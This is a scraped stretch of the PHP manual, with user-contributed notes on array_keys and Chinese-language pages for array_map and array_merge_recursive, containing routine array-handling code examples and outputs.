/* This will return an array like so:

[
   ['name' -> 'color', 'value' -> 'blue'],
   ['name' -> 'style', 'value' -> 'wide-format'],
   ['name' -> 'weight', 'value' -> 3.6],
   ['name' -> 'name', 'value' -> 'Waerdthing']
]

*/

$propArr = array_collapse($result, 'name', 'value');

/* Now this array looks like:

[
   ['color' -> 'blue'],
   ['style' -> 'wide-format'],
   ['weight' -> 3.6],
   ['name' -> 'Waerdthing'],

*/

?>

I found this handy for using with json_encode and am using it for my project http://squidby.com
nodarinodo at mail dot ru 03-Dec-2008 11:35
<?php
    //It's a way to get keys from values )
    $es = array("is My FullName"=>"nodar chkuaselidze (nodarinodo)", "You Are" => "I don't know", "Is My Friend" => "ruxadze");
    foreach(array_values($es) as $ess){
        echo $ess." =>";

    for($i =0; $i < count(array_keys($es, $ess)); $i++){
            echo reset(array_keys($es, $ess))."<BR>";
        } }
?>
neil at 11 out of 10 24-Jul-2008 12:10
<?php

/*
 * This function will return the keys of elements in the
 * haystack where the value is found in array needle
 */

function array_value_intersect_keys( $array_haystack, $array_needle ){
    $intersected = array_intersect( $array_haystack, $array_needle );
    return array_keys( $intersected );
}

// usage

$array_haystack = array( 1 => 2, 2 => 5, 'red' => 8, 9 => 14 );

$array_needle = array( 2, 8 );

$array_keys_of_intersecting_values = array_value_intersect_keys( $array_haystack, $array_needle );

print_r( $array_keys_of_intersecting_values );
?>

returns
Array
(
    [0] => 1
    [1] => red
)
Hayley Watson 04-Oct-2007 06:43
An alternative to RQuadling at GMail dot com's array_remove() function:

<?php
function array_remove(array $array, $value, $strict=false)
{
    return array_diff_key($array, array_flip(array_keys($array, $value, $strict)));
}
?>
creator at mindcreations dot com 20-Mar-2007 02:12
This function will extract keys from a multidimensional array

<?php
function multiarray_keys($ar) {

    foreach($ar as $k => $v) {
        $keys[] = $k;
        if (is_array($ar[$k]))
            $keys = array_merge($keys, multiarray_keys($ar[$k]));
    }
    return $keys;
}
?>

Example code:

<?php
$array = array("color" => array("1stcolor" => "blue", "2ndcolor" => "red", "3rdcolor" => "green"),
               "size"  => array("small", "medium", "large"));

echo "<pre>";
print_r($array);
echo "</pre>";

echo "<pre>";
print_r(multiarray_keys($array));
echo "</pre>";
?>

Example output:

Array
(
    [color] => Array
        (
            [1stcolor] => blue
            [2ndcolor] => red
            [3rdcolor] => green
        )

    [size] => Array
        (
            [0] => small
            [1] => medium
            [2] => large
        )

)

Array
(
    [0] => color
    [1] => 1stcolor
    [2] => 2ndcolor
    [3] => 3rdcolor
    [4] => size
    [5] => 0
    [6] => 1
    [7] => 2
)
jochem 17-Feb-2006 04:13
might be worth noting in the docs that not all associative (string) keys are a like, output of the follow bit of code demonstrates - might be a handy introduction to automatic typecasting in php for some people (and save a few headaches):

<?php
$r = array("0"=>"0","1"=>"1","" =>"2"," "=>"3");
echo 'how php sees this array: array("0"=>"0","1"=>"1","" =>"2"," "=>"3")',"\n-----------\n";
var_dump($r); print_r($r); var_export($r);
echo "\n-----------\n",'var_dump("0","1",""," ") = ',"\n-----------\n";
var_dump("0","1",""," ");
?>

OUTPUTS:

how php sees this array: array("0"=>"0","1"=>"1","" =>"2"," "=>"3")
-----------
array(4) {
  [0]=>
  string(1) "0"
  [1]=>
  string(1) "1"
  [""]=>
  string(1) "2"
  [" "]=>
  string(1) "3"
}
Array
(
    [0] => 0
    [1] => 1
    [] => 2
    [ ] => 3
)
array (
  0 => '0',
  1 => '1',
  '' => '2',
  ' ' => '3',
)
-----------
var_dump("0","1",""," ") =
-----------
string(1) "0"
string(1) "1"
string(0) ""
string(1) " "
Sven (bitcetera.com) 19-Dec-2005 06:43
Here's how to get the first key, the last key, the first value or the last value of a (hash) array without explicitly copying nor altering the original array:

<?php
  $array = array('first'=>'111', 'second'=>'222', 'third'=>'333');

  // get the first key: returns 'first'
  print array_shift(array_keys($array));

  // get the last key: returns 'third'
  print array_pop(array_keys($array));

  // get the first value: returns '111'
  print array_shift(array_values($array));

  // get the last value: returns '333'
  print array_pop(array_values($array));
?>
vesely at tana dot it 09-Dec-2005 01:56
The position of an element.

One can apply array_keys twice to get the position of an element from its key. (This is the reverse of the function by cristianDOTzuddas.) E.g., the following may output "yes, we have bananas at position 0".

<?php
$a = array("banana" => "yellow", "apple" = "red");
$k = get_some_fruit();
if (isset($a[$k]))
{
   list($pos) = array_keys(array_keys($a), $k);
   print "yes, we have {$k}s at position $pos\n";
}
?>

Not amazingly efficient, but I see no better alternative.
ru dot dy at gmx dot net 14-Aug-2005 09:20
I was looking for a function that simply unset a variable amout of values from a one-dimensional array by key. I ended up with this (returns the array itself if no further parameter than the array is given, false with no params - does not change the source array)

usage: array_remove(array $input [, mixed key ...])

<?php

  function array_remove() {
    if ($stack = func_get_args()) {
      $input = array_shift($stack);
      foreach ($stack as $key) {
        unset($input[$key]);
      }
      return $input;
    }
    return false;
  }

?>

Test:

<?php
  $a = array('a'=>'fun', 'b'=>3.14, 'sub'=> array('1', '2', '3'), 'd'=>'what', 'e' => 'xample', 5 => 'x');
  print_r($a);
  print_r(array_remove($a, 'd', 'b', 5, 'sub'));
?>

Output:

Array
(
    [a] => fun
    [b] => 3.14
    [sub] => Array
        (
            [0] => 1
            [1] => 2
            [2] => 3
        )

    [d] => what
    [e] => xample
    [5] => x
)
Array
(
    [a] => fun
    [e] => xample
)

Hope this helps someone.
webmaster [at] baz-x [dot] at 29-Jul-2005 03:43
I was looking for a function that deletes either integer keys or string keys (needed for my caching).
As I didn't find a function I came up with my own solution.
I didn't find the propiest function to post to so I will post it here, hope you find it useful.

<?php

function array_extract($array, $extract_type = 1)
{
    foreach ( $array as $key => $value )
    {
        if ( $extract_type == 1 && is_string($key) )
        {
            // delete string keys
            unset($array[$key]);
        }
        elseif ( $extract_type == 2 && is_int($key) )
        {
            // delete integer keys
            unset($array[$key]);
        }
    }

    return $array;
}

?>

You can of course define constants to have a nicer look, I have chosen these: EXTR_INT = 1; EXTR_STRING = 2
EXTR_INT will return an array where keys are only integer while
EXTR_STRING will return an array where keys are only string

Have fun with it.
sip at email dot ee 22-Aug-2003 05:33
Note, that using array_key_exists() is rather inefficient. The overhead associated with calling a function makes it slower, than using isset($array[$key]), instead of array_key_exists($key, $array)
using isset() is usually about 1.3 times faster, according to my tests.
rodrigo at NOSPAM dot dhweb dot com dot br 04-Feb-2003 04:39
[Editor's note: For a complete solution to the printing of complex structures or hashes, see the PEAR::Var_Dump package: http://pear.php.net/package-info.php?pacid=103 , use "pear install Var_Dump" to get it]

This function will print all the keys of a multidimensional array in html tables.
It will help to debug when you don?t have control of depths.

<?php
function show_keys($ar){

   echo "<table width='100%' border='1' bordercolor='#6699CC' cellspacing='0' cellpadding='5'><tr valign='top'>";

      foreach ($ar as $k => $v ) {

         echo "<td align='center' bgcolor='#EEEEEE'>
           <table border='2' cellpadding='3'><tr><td bgcolor='#FFFFFF'><font face='verdana' size='1'>
              " . $k . "
           </font></td></tr></table>";

           if (is_array($ar[$k])) {
              show_keys ($ar[$k]);
         }

         echo "</td>";

      }

   echo "</tr></table>";

}

// Multidimensional array ->
$arvore = array();
$arvore['1'] = array();
$arvore['1']['1.1'] = array('1.1.1', '1.1.2', '1.1.3');
$arvore['1']['1.2'] = array('1.2.1', '1.2.2', '1.2.3');
$arvore['1']['1.3'] = array('1.3.1', '1.3.2', '1.3.3');
$arvore['2'] = array();
$arvore['2']['2.1'] = array('2.1.1', '2.1.2', '2.1.3');
$arvore['2']['2.2'] = array('2.2.1', '2.2.2', '2.2.3');
$arvore['2']['2.3'] = array('2.3.1', '2.3.2', '2.3.3');
$arvore['3'] = array();
$arvore['3']['3.1'] = array('3.1.1', '3.1.2', '3.1.3');
$arvore['3']['3.2'] = array('3.2.1', '3.2.2', '3.2.3');
$arvore['3']['3.3'] = array('3.3.1', '3.3.2'=>array('3.3.2.1', '3.3.2.2'), '3.3.3');
// <-

show_keys($arvore);
?>
glennh at webadept dot net 13-Nov-2002 04:03
All the cool notes are gone from the site.

Here's an example of how to get all the variables passed to your program using the method on this page. This prints them out so you can see what you are doing.

<?php
while (list($key, $value) = each
(${"HTTP_".$REQUEST_METHOD."_VARS"}))
{
        echo $key." = ".$value." ";
}
?>


为数组的每个元素应用回调函数

  • ? array_keys
  • array_merge_recursive ?
  • PHP Manual
  • 数组 函数
  • 为数组的每个元素应用回调函数

array_map

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

array_map — 为数组的每个元素应用回调函数

说明

array_map(?callable $callback, array $array, array ...$arrays): array

array_map() 返回一个 array，包含将 array 的相应值作为回调的参数顺序调用 callback 后的结果（如果提供了更多数组，还会利用 arrays 传入）。callback 函数形参的数量必须匹配 array_map() 实参中数组的数量。多余的实参数组将会被忽略。如果提供的实参数组的数量不足，将抛出 ArgumentCountError。

参数

callback

回调函数 callable，应用到每个数组里的每个元素。

多个数组操作合并时，callback 可以设置为 null。 如果只提供了 array 一个数组， array_map() 会返回输入的数组。

array

数组，遍历运行 callback 函数。

arrays

额外的数组列表，每个都遍历运行 callback 函数。

返回值

返回数组，包含将 array 的相应值作为回调的参数调用 callback 函数后的结果（如果提供了更多数组，还会利用 arrays 传入）。

当仅仅传入一个数组时，返回的数组会保留传入参数的键（key）。 传入多个数组时，返回的数组键是按顺序的 integer。

更新日志

版本 | 说明
8.0.0 | 如果 callback 接受引用传递参数，该方法将会抛出 E_WARNING。

示例

Example #1 array_map() 例子

<?php
function cube($n)
{
return ($n * $n * $n);
}

$a = [1, 2, 3, 4, 5];
$b = array_map('cube', $a);
print_r($b);
?>

这使得 $b 成为：

Array
(
    [0] => 1
    [1] => 8
    [2] => 27
    [3] => 64
    [4] => 125
)

Example #2 array_map() 使用匿名函数

<?php
$func = function(int $value): int {
return $value * 2;
};

print_r(array_map($func, range(1, 5)));

// 或者从 PHP 7.4.0 起：

print_r(array_map(fn($value): int => $value * 2, range(1, 5)));

?>
Array
(
    [0] => 2
    [1] => 4
    [2] => 6
    [3] => 8
    [4] => 10
)

Example #3 array_map()：使用更多的数组

<?php
function show_Spanish(int $n, string $m): string
{
return "The number {$n} is called {$m} in Spanish";
}

function map_Spanish(int $n, string $m): array
{
return [$n => $m];
}

$a = [1, 2, 3, 4, 5];
$b = ['uno', 'dos', 'tres', 'cuatro', 'cinco'];

$c = array_map('show_Spanish', $a, $b);
print_r($c);

$d = array_map('map_Spanish', $a , $b);
print_r($d);
?>

以上示例会输出：

// 打印 $c
Array
(
    [0] => The number 1 is called uno in Spanish
    [1] => The number 2 is called dos in Spanish
    [2] => The number 3 is called tres in Spanish
    [3] => The number 4 is called cuatro in Spanish
    [4] => The number 5 is called cinco in Spanish
)

// 打印 $d
Array
(
    [0] => Array
        (
            [1] => uno
        )

    [1] => Array
        (
            [2] => dos
        )

    [2] => Array
        (
            [3] => tres
        )

    [3] => Array
        (
            [4] => cuatro
        )

    [4] => Array
        (
            [5] => cinco
        )

)

传入两个及以上的数组时，它们元素数量将会相同。因为回调函数会并行地处理相互对应的元素。 如果几个数组的元素数量不一致：空元素会扩展短那个数组，直到长度和最长的数组一样。

此函数有个有趣的用法：传入 null 作为回调函数的名称，将创建多维数组（一个数组，内部包含数组。）

Example #4 多个数组的合并操作

<?php
$a = [1, 2, 3, 4, 5];
$b = ['one', 'two', 'three', 'four', 'five'];
$c = ['uno', 'dos', 'tres', 'cuatro', 'cinco'];

$d = array_map(null, $a, $b, $c);
print_r($d);
?>

以上示例会输出：

Array
(
    [0] => Array
        (
            [0] => 1
            [1] => one
            [2] => uno
        )

    [1] => Array
        (
            [0] => 2
            [1] => two
            [2] => dos
        )

    [2] => Array
        (
            [0] => 3
            [1] => three
            [2] => tres
        )

    [3] => Array
        (
            [0] => 4
            [1] => four
            [2] => cuatro
        )

    [4] => Array
        (
            [0] => 5
            [1] => five
            [2] => cinco
        )

)

Example #5 仅有 array1 时，callback 设置为 null

<?php
$array = [1, 2, 3];
var_dump(array_map(null, $array));
?>

以上示例会输出：

array(3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

Example #6 array_map() 键（key）是 string

<?php
$arr = array("stringkey" => "value");
function cb1($a) {
return [$a];
}
function cb2($a, $b) {
return [$a, $b];
}
var_dump(array_map('cb1', $arr));
var_dump(array_map('cb2', $arr, $arr));
var_dump(array_map(null, $arr));
var_dump(array_map(null, $arr, $arr));
?>

以上示例会输出：

array(1) {
  ["stringkey"]=>
  array(1) {
    [0]=>
    string(5) "value"
  }
}
array(1) {
  [0]=>
  array(2) {
    [0]=>
    string(5) "value"
    [1]=>
    string(5) "value"
  }
}
array(1) {
  ["stringkey"]=>
  string(5) "value"
}
array(1) {
  [0]=>
  array(2) {
    [0]=>
    string(5) "value"
    [1]=>
    string(5) "value"
  }
}

Example #7 array_map() - 关联数组

虽然 array_map() 不能直接支持使用数组的键（key）作为输入，但可以使用 array_keys() 进行模拟。

<?php
$arr = [
'v1' => 'First release',
'v2' => 'Second release',
'v3' => 'Third release',
];

// 注意： 在 7.4.0 之前，使用较长的语法来代替匿名函数。
$callback = fn(string $k, string $v): string => "$k was the $v";

$result = array_map($callback, array_keys($arr), array_values($arr));

var_dump($result);
?>

以上示例会输出：

array(3) {
  [0]=>
  string(24) "v1 was the First release"
  [1]=>
  string(25) "v2 was the Second release"
  [2]=>
  string(24) "v3 was the Third release"
}

参见

  • array_filter() - 使用回调函数过滤数组的元素
  • array_reduce() - 用回调函数迭代地将数组简化为单一的值
  • array_walk() - 使用用户自定义函数对数组中的每个元素做回调处理

User Contributed Notes

s dot kientzler at online dot de 18-Jul-2023 11:57
If the callback function to be called is a static method from a different namespace, the fully qualified method including namespace must be specified (a use statement is not sufficient to resolve the namespace of the callback function)

<?php
use MyTools;

$arr = [1, 2, 3];

$arr = array_map('Tools::myHelper', $arr);
?>

will cause TypeError:
array_map() expects parameter 1 to be a valid callback, class 'Tools' not found.

Use the fully qualified name for the callback instead:

<?php
$arr = [1, 2, 3];

$arr = array_map('\MyTools\Tools::myHelper', $arr);
?>
Walf 24-Mar-2022 11:48
A general solution for the problem of wanting to know the keys in the callback, and/or retain the key association in the returned array:

<?php

/**
 * Like array_map() but callback also gets passed the current key as the
 * first argument like so:
 * function($key, $val, ...$vals) { ... }
 * ...and returned array always maintains key association, even if multiple
 * array arguments are passed.
 */

function array_map_assoc(callable $callback, array $array, array ...$arrays) {
    $keys = array_keys($array);
    array_unshift($arrays, $keys, $array);
    return array_combine($keys, array_map($callback, ...$arrays));
}

?>

Because it uses array_map() directly, it behaves the same way in regard to ignoring the keys of subsequent array arguments. It also has the same variadic signature.
anonymous_user 16-Dec-2021 08:15
/**
  * Function which recursively applies a callback to all values and also its
  * keys, and returns the resulting array copy with the updated keys and
  * values.
  * PHP's built-in function array_walk_recursive() only applies the passed
  * callback to the array values, not the keys, so this function simply applies
  * the callback to the keys too (hence the need of working with a copy,
  * as also updating the keys would lead to reference loss of the original
  * array). I needed something like this, hence my idea of sharing it here.
  *
  * @param    callable    $func     callback which takes one parameter (value
  *                                                   or key to be updated) and returns its
  *                                                   updated value
  *
  * @param    array          $arr      array of which keys and values shall be
  *                                                   get updated
  */

function array_map_recursive(
    callable $func,
    array $arr
) {

      // Initiate copied array which will hold all updated keys + values
      $result = [];

      // Iterate through the key-value pairs of the array
      foreach ( $arr as $key => $value ) {

        // Apply the callback to the key to create the updated key value
        $updated_key = $func( $key );

        // If the iterated value is not an array, that means we have reached the
        // deepest array level for the iterated key, so in that case, assign
        // the updated value to the updated key value in the final output array
        if ( ! is_array( $value ) ) {

          $result[$updated_key] = $func( $value );

        } else {

          // If the iterated value is an array, call the function recursively,
          // By taking the currently iterated value as the $arr argument
          $result[$updated_key] = array_map_recursive(
            $func,
            $arr[$key]
          );

        }

      } // end of iteration through k-v pairs

      // And at the very end, return the generated result set
      return $result;

    } // end of array_map_recursive() function definition
Mahn 20-Oct-2015 05:10
You may be looking for a method to extract values of a multidimensional array on a conditional basis (i.e. a mixture between array_map and array_filter) other than a for/foreach loop. If so, you can take advantage of the fact that 1) the callback method on array_map returns null if no explicit return value is specified (as with everything else) and 2) array_filter with no arguments removes falsy values.

So for example, provided you have:

<?php
$data = [
    [
        "name" => "John",
        "smoker" => false
    ],
    [
        "name" => "Mary",
        "smoker" => true
    ],
    [
        "name" => "Peter",
        "smoker" => false
    ],
    [
        "name" => "Tony",
        "smoker" => true
    ]
];
?>

You can extract the names of all the non-smokers with the following one-liner:

<?php
$names = array_filter(array_map(function($n) { if(!$n['smoker']) return $n['name']; }, $data));
?>

It's not necessarily better than a for/foreach loop, but the occasional one-liner for trivial tasks can help keep your code cleaner.
lukasz dot mordawski at gmail dot com 03-Dec-2013 10:55
Let's assume we have following situation:

<?php
class MyFilterClass {
    public function filter(array $arr) {
        return array_map(function($value) {
            return $this->privateFilterMethod($value);
        });
    }

    private function privateFilterMethod($value) {
        if (is_numeric($value)) $value++;
        else $value .= '.';
    }
}
?>

This will work, because $this inside anonymous function (unlike for example javascript) is the instance of MyFilterClass inside which we called it.
I hope this would be useful for anyone.
CertaiN 22-Aug-2013 08:52
The most memory-efficient array_map_recursive().

<?php
function array_map_recursive(callable $func, array $arr) {
    array_walk_recursive($arr, function(&$v) use ($func) {
        $v = $func($v);
    });
    return $arr;
}
?>
radist-hack at yandex dot ru 01-Nov-2008 01:37
To transpose rectangular two-dimension array, use the following code:

array_unshift($array, null);
$array = call_user_func_array("array_map", $array);

If you need to rotate rectangular two-dimension array on 90 degree, add the following line before or after (depending on the rotation direction you need) the code above:
$array = array_reverse($array);

Here is example:

<?php
$a = array(
  array(1, 2, 3),
  array(4, 5, 6));
array_unshift($a, null);
$a = call_user_func_array("array_map", $a);
print_r($a);
?>

Output:

Array
(
    [0] => Array
        (
            [0] => 1
            [1] => 4
        )

    [1] => Array
        (
            [0] => 2
            [1] => 5
        )

    [2] => Array
        (
            [0] => 3
            [1] => 6
        )

)
stijnleenknegt at gmail dot com 22-Jul-2008 04:17
If you want to pass an argument like ENT_QUOTES to htmlentities, you can do the follow.

<?php
$array = array_map( 'htmlentities' , $array, array_fill(0 , count($array) , ENT_QUOTES) );
?>

The third argument creates an equal sized array of $array filled with the parameter you want to give with your callback function.


递归地合并一个或多个数组

  • ? array_map
  • array_merge ?
  • PHP Manual
  • 数组 函数
  • 递归地合并一个或多个数组

array_merge_recursive

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

array_merge_recursive — 递归地合并一个或多个数组

说明

array_merge_recursive(array ...$arrays): array

array_merge_recursive() 将一个或多个数组的单元合并起来，一个数组中的值附加在前一个数组的后面。返回作为结果的数组。

如果输入的数组中有相同的字符串键名，则这些值会被合并到一个数组中去，这将递归下去，因此如果一个值本身是一个数组，本函数将按照相应的条目把它合并为另一个数组。需要注意的是，如果数组具有相同的数值键名，后一个值将不会覆盖原来的值，而是附加到后面。

参数

arrays

数组变量列表，进行递归合并。

返回值

一个结果数组，其中的值合并自附加的参数。如果未传递参数调用，则会返回一个空 array。

更新日志

版本 | 说明
7.4.0 | 允许不传递参数调用，之前的版本中至少需要一个参数。

示例

Example #1 array_merge_recursive() 例子

<?php
$ar1 = array("color" => array("favorite" => "red"), 5);
$ar2 = array(10, "color" => array("favorite" => "green", "blue"));
$result = array_merge_recursive($ar1, $ar2);
print_r($result);
?>

以上示例会输出：

Array
(
    [color] => Array
        (
            [favorite] => Array
                (
                    [0] => red
                    [1] => green
                )

            [0] => blue
        )

    [0] => 5
    [1] => 10
)

参见

  • array_merge() - 合并一个或多个数组
  • array_replace_recursive() - 使用传递的数组递归替换第一个数组的元素

User Contributed Notes

dev at oove dot blue 15-Oct-2022 12:01
I was looking for a function like this one :
merge one ore more arrays without appending values, just override and extend the array if needed.
Useful for merging configurations or merging json data to be saved in database (my case)

Similar to Object.assign in javascript

    public static function array_merge()
    {
        // Holds all the arrays passed
        $params = func_get_args ();
        // First array is used as the base, everything else overwrites on it
        $return = array_shift ( $params );

        if(!is_array($return))
            $return = [];
        // Merge all arrays on the first array
        foreach ( $params as $array ) {
            foreach ( $array as $key => $value ) {

                if(!isset($return[$key]) || !is_array($value)) {
                    $return[$key] = $value;
                }
                else
                {
                    $return[$key] = ArrayTools::array_merge( $return[$key], $value );
                }
            }
        }

        return $return;

    }
andrew at indigo - sphere dot co dot uk 04-Sep-2020 11:27
An alternative solution where this function does not produce the desired output: Pass a custom recursive function to array_reduce():

For example (Using PHP 7 capabilities to create recursive anonymous function):

<?php
function array_merge_recursive(...$arrays): ?array {
   return array_reduce($arrays, new class {
        public function __invoke($carry, $item) {
            if (is_array($carry) && is_array($item) {
                return $this($carry, $item);
            }
            return $item ?: $carry;
        }
    }
}
?>
In this case truthy values will overwrite the value in the previous array.
Of course this is presented as a simple example only, and is not a general solution.
hailongzh at hotmail dot com 10-Sep-2019 04:17
Sharing my code to reserve the numeric keys:

    function revise_keys($source)
    {
        if (!is_array($source)) {
            return $source;
        }

        $target = [];

        foreach ($source as $key => $value) {
            $target['S' . $key] = revise_keys($value);
        }

        return $target;
    }

    function revert_keys($source)
    {
        if (!is_array($source)) {
            return $source;
        }

        $target = [];

        foreach ($source as $key => $value) {
            $target[substr($key, 1 - strlen($key))] = revert_keys($value);
        }

        return $target;
    }

    function enhanced_array_merge_recursive(...$candidates)
    {
        $merged = [];

        foreach ($candidates as $candidate) {
            if (!is_array($candidate)) {
                continue;
            }

            $merged = array_merge_recursive($merged, revise_keys($candidate));
        }

        return revert_keys($merged);
    }
gullevek at gullevek dot org 29-Aug-2019 08:06
walfs version is pretty good, but it always assumes we want numeric keys as numeric keys. There are possibilities where a numeric key is actually a string '123'

For that I modified the function so that the last argument is a true switch to turn keys can be numeric on. Default is that keys are all string.

<?php
function array_merge_recursive_simple()
{
    // croak on not enough arguemnts (we need at least two)
    if (func_num_args() < 2) {
        trigger_error(__FUNCTION__ .' needs two or more array arguments', E_USER_WARNING);
        return;
    }
    // default key is not string
    $key_is_string = false;
    $arrays = func_get_args();
    // if last is not array, then assume it is trigger for key is always string
    if (!is_array(end($arrays))) {
        if (array_pop($arrays)) {
            $key_is_string = true;
        }
    }
    // check that arrays count is at least two, else we don't have enough
    if (count($arrays) < 2) {
        trigger_error(__FUNCTION__.' needs two or more array arguments', E_USER_WARNING);
        return;
    }
    $merged = array();
    while ($arrays) {
        $array = array_shift($arrays);
        if (!is_array($array)) {
            trigger_error(__FUNCTION__ .' encountered a non array argument', E_USER_WARNING);
            return;
        }
        if (!$array) {
            continue;
        }
        foreach ($array as $key => $value) {
            if (is_string($key) || $key_is_string === false) {
                if (is_array($value) && array_key_exists($key, $merged) && is_array($merged[$key])) {
                    $merged[$key] = call_user_func(__FUNCTION__, $merged[$key], $value, $key_is_string);
                } else {
                    $merged[$key] = $value;
                }
            } else {
                $merged[] = $value;
            }
        }
    }
    return $merged;
}
?>
zubkov dot rabota at gmail dot com 12-Jul-2017 10:58
This recursive array merge function doesn't renumber integer keys and appends new values to existing ones OR adds a new [key => value] pair if the pair doesn't exist.

function array_merge_recursive_adv(array &$array1, $array2) {
        if(!empty($array2) && is_array($array2))
            foreach ($array2 as $key => $value) {
                    if(array_key_exists($key,$array1)) {
                        if(is_array($value)){
                            array_merge_recursive_adv($array1[$key], $value);
                        } else {
                             if(!empty($array1[$key])) {
                                if(is_array($array1[$key])){
                                    array_push($array1[$key], $value);
                                } else {
                                    $array1[$key] = [$array1[$key]];
                                    $array1[$key][] = $value;
                                }
                             } else if(empty($array1[$key])) {
                                $array1[$key] = $value;
                             }
                        }
                    } else {
                        $array1[$key] = $value;
                    }
            }
            return $array1;
    }
zubkov dot rabota at gmail dot com 12-Jul-2017 10:57
This recursive array merge function doesn't renumber integer keys and appends new values to existing ones OR adds a new [key => value] pair if the pair doesn't exist.

function array_merge_recursive_adv(array &$array1, $array2) {
        if(!empty($array2) && is_array($array2))
            foreach ($array2 as $key => $value) {
                    if(array_key_exists($key,$array1)) {
                        if(is_array($value)){
                            array_merge_recursive_adv($array1[$key], $value);
                        } else {
                             if(!empty($array1[$key])) {
                                if(is_array($array1[$key])){
                                    array_push($array1[$key], $value);
                                } else {
                                    $array1[$key] = [$array1[$key]];
                                    $array1[$key][] = $value;
                                }
                             } else if(empty($array1[$key])) {
                                $array1[$key] = $value;
                             }
                        }
                    } else {
                        $array1[$key] = $value;
                    }
            }
            return $array1;
    }
karl (dot) hepler (at) gmail (dot) com 07-Oct-2016 08:24
I ran into a fairly unique situation where array_merge_recursive ALMOST did what I wanted, but NOT QUITE. I read through all of the comments, and I didn't find anything that really helped me. I saw a lot of functions submitted that were just trying to recreate array_replace_recursive. This is not that.

Take a look at the code and try it out. Hopefully it helps someone in need!

class Arr
{
    /**
     * Merge multiple arrays.
     *
     * This is similar to, but slightly different than array_merge_recursive.
     * The main difference is that it will merge like keys in subarrays,
     * instead of simply pushing them into the output array.
     *
     * @param  array ...$array
     *
     * @return array
     */
    public static function merge()
    {
        /** Initialize the output array */
        $merged = [];

        /** Go through each argument */
        foreach (func_get_args() as $array) {
            /** Go through each key/value of this array */
            foreach ($array as $key => $value) {
                /**
                 * If this key isn't set on merged,
                 * then it needs to be set for the first time
                 */
                if (! isset($merged[$key])) {
                    /**
                     * Before we can set it, we must make sure
                     * to dive into this value if it is an array,
                     * so that all of its children will be processed.
                     */
                    if (is_array($value)) {
                        $value = static::merge($value);
                    }

                    /**
                     * Now that we're happy with this value,
                     * and we're sure that, if it is an array,
                     * all of its children have been processed,
                     * let's go ahead and set it.
                     */
                    $merged[$key] = $value;

                    /** We can skip the rest of the loop */
                    continue;
                }

                /**
                 * We're here because we want to set a key
                 * that is already set on merged. We don't want
                 * to overwrite anything - we want to add to it.
                 * So, we need to make sure that we're working with an array.
                 */
                if (! is_array($merged[$key])) {
                    $merged[$key] = [$merged[$key]];
                }

                /**
                 * Before we push the value onto the array,
                 * we need to check to see if it is an array itself.
                 * If it is, then we need to make sure all of its children
                 * are processed. We do this by merging all of the children
                 * together. This is where it differs from array_merge_recursive,
                 * which would simply push the children onto the end of the array.
                 */
                if (is_array($value)) {
                    $value = forward_static_call_array([Arr::class, 'merge'], $value);
                }

                /** Now we're ready to push the value into merged */
                $merged[$key][] = $value;
            }
        }

        /** Return the merged array */
        return $merged;
    }
}
fantomx1 at gmail dot com 26-Jan-2016 11:35
I little bit improved daniel's and gabriel's contribution to behave more like original array_merge function to append numeric keys instead of overwriting them and added usefull option of specifying which elements to merge as you more often than not need to merge only specific part of array tree, and some parts of array just need  to let overwrite previous. By specifying helper element mergeWithParent=true, that section of array  will be merged, otherwise latter array part will override former. First level of array behave as classic array_merge.

        function array_merge_recursive_distinct ( array &$array1, array &$array2 )
    {
        static $level=0;
        $merged = [];
        if (!empty($array2["mergeWithParent"]) || $level == 0) {
            $merged = $array1;
        }

        foreach ( $array2 as $key => &$value )
        {
            if (is_numeric($key)) {
                $merged [] = $value;
            } else {
                $merged[$key] = $value;
            }

            if ( is_array ( $value ) && isset ( $array1 [$key] ) && is_array ( $array1 [$key] )
            ) {
                $level++;
                $merged [$key] = array_merge_recursive_distinct($array1 [$key], $value);
                $level--;
            }
        }
        unset($merged["mergeWithParent"]);
        return $merged;
    }
Anonymous 30-Nov-2015 09:45
Proper simplistic example:

<?php

$Array1 = [1, 2];
$Array2 = [3, 4];

echo implode("<br>", array_merge_recursive($Array1, $Array2));

?>

Output:
1
2
3
4
Orhan POLAT 18-Jun-2015 02:24
Merging arrays recursively some problem about existing keys, so that i wrote the function above like this:

function merge($array0, $array1) {
  // Result
  $merged = array();

  foreach (func_get_args() as $array) {
   // Check incoming argument is array
   if (is_array($array)) {
    foreach ($array as $key => $value) {
     // Check there is an array with the key: $key
     if (isset($merged[$key])) {
      // Check the value is array
      if (is_array($value)) {
       // So we must merge current value with the existing array
       $merged[$key] = call_user_func_array(__FUNCTION__, $merged[$key], $value);
      } else {
       if (!is_array($merged[$key])) {
        // If the existing array with the key: $key not an array
        // We make it an array
        $merged[$key] = array($merged[$key]);
       }

       // And add the current value
       $merged[$key][] = $value;
      }
     } else {
      // If not exists make the array
      $merged[$key] = $value;
     }
    }
   }
  }

  return $merged;
 }
Anonymous 17-Mar-2015 05:00
Attention.
(used PHP 5.4. XAMPP)

Values with numeric keys are always appended.   The index of the merge array is determined by the startindex of the first array. Value4s with numeric keys seems always appended.
If a key looks like an integer, array_merge_recursive will interpret the string as an number.

In the example  $arr['farbe']['22'] = 'grün' wil be found after array_merge_recursive in $res['farbe'][33]

$ar1 = array("farbe" => array (31 => 'holla', "rot", "favorit" => "gelb2"), "favorit" => "gelb1", 5);
$ar2 = array(10, "farbe" => array ('22' => "grün",  "favorit" => 2, "blau"));
$result = array_merge_recursive ($ar1, $ar2);
var_dump($result);
echo('<hr>');

// var_dump
array(4) {
  ["farbe"]=>
  array(5) {
    [31]=>
    string(5) "holla"
    [32]=>
    string(3) "rot"
    ["favorit"]=>
    array(2) {
      [0]=>
      string(5) "gelb2"
      [1]=>
      int(2)
    }
    [33]=>
    string(5) "grün"
    [34]=>
    string(4) "blau"
  }
  ["favorit"]=>
  string(5) "gelb1"
  [0]=>
  int(5)
  [1]=>
  int(10)
}
php at metehanarslan dot com 12-Jun-2014 10:52
Sometimes you need to modify an array with another one here is my approach to replace an array's content recursively with delete opiton. Here i used "::delete::" as reserved word to delete items.

<?php
$person= array(
    "name" => "Metehan",
    "surname"=>"Arslan",
    "age"=>27,
    "mail"=>"hidden",
    "favs" => array(
        "language"=>"php",
        "planet"=>"mercury",
        "city"=>"istanbul")
);

$newdata = array(
    "age"=>28,
    "mail"=>"::delete::",
    "favs" => array(
        "language"=>"js",
        "planet"=>"mercury",
        "city"=>"shanghai")
);

print_r(array_overlay($person,$newdata));
